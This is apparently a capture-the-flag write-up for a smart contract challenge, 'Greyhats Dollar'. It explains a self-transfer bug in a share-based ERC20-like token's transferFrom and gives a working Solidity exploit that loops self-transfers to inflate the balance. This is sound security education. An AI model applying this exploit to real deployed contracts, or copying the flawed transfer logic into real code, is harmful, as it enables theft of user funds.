Greyhats Dollar

Codebase walkthrough

The code implements a customized ERC20-like token, but it is more like ERC4626: it computes share for each user, just like a vault. Player can claim 1000e18 grey token for free from Setup.sol.

transfer() is a wrapper of transferFrom(), and transferFrom() looks like the longest function at first glance, so it is natural to focus on it.

Bug description

    function transfer(address to, uint256 amount) external update returns (bool) {
        return transferFrom(msg.sender, to, amount);
    }
    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public update returns (bool) {
        if (from != msg.sender) allowance[from][msg.sender] -= amount;

        uint256 _shares = _GHDToShares(amount, conversionRate, false);
        uint256 fromShares = shares[from] - _shares;
        uint256 toShares = shares[to] + _shares;
        
        require(
            _sharesToGHD(fromShares, conversionRate, false) < balanceOf(from),
            "amount too small"
        );
        require(
            _sharesToGHD(toShares, conversionRate, false) > balanceOf(to),
            "amount too small"
        );

        shares[from] = fromShares;
        shares[to] = toShares;

        emit Transfer(from, to, amount);

        return true;
    }

First thing I would check is the classic “transfer token to yourself” bug:

  • Say from == to == you

  • uint256 fromShares = shares[from] - _sharesuint256 fromShares = shares[you] - _shares

  • uint256 toShares = shares[to] + _sharesuint256 toShares = shares[you] + _shares

  • shares[from] = fromSharesshares[you] = fromShares

  • shares[to] = toSharesshares[you] = toShares

In the last step, you see that shares[you] is being overwritten by a larger number, equivalently it means you get money for free.

Next question is how much money you can get for free by calling transfer() once. It is easy: to make sure that uint256 fromShares = shares[you] - _shares does not revert, you must have shares[you] - _shares >= 0shares[you] >= _shares_shares <= shares[you]. Therefore the best choice is to transfer balanceOf(player) in each call to transfer(), and repeat many times. Since balanceOf(player) doubles for each iteration, this attack will finish quickly.

Recall that player can claim 1000e18 grey token for free from Setup.sol, so this attack works.

PoC

Claim 1000e18 grey token from Setup.sol, call transfer() in a for loop or while loop.

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;

import { Setup } from "src/greyhats-dollar/Setup.sol";

contract Exploit {
    Setup setup;

    constructor(Setup _setup) {
        setup = _setup;
    }

    function solve() external {
        // Claim 1000 GREY
        setup.claim();

        // Mint 1000 GHD using 1000 GREY
        setup.grey().approve(address(setup.ghd()), 1000e18);
        setup.ghd().mint(1000e18);

        // Transfer GHD to ourselves until we have 50,000 GHD
        uint256 balance = setup.ghd().balanceOf(address(this));
        while (balance < 50_000e18) {
            setup.ghd().transfer(address(this), balance);
            balance = setup.ghd().balanceOf(address(this));
        }

        // Transfer all GHD to msg.sender
        setup.ghd().transfer(msg.sender, balance);
    }
}

Last updated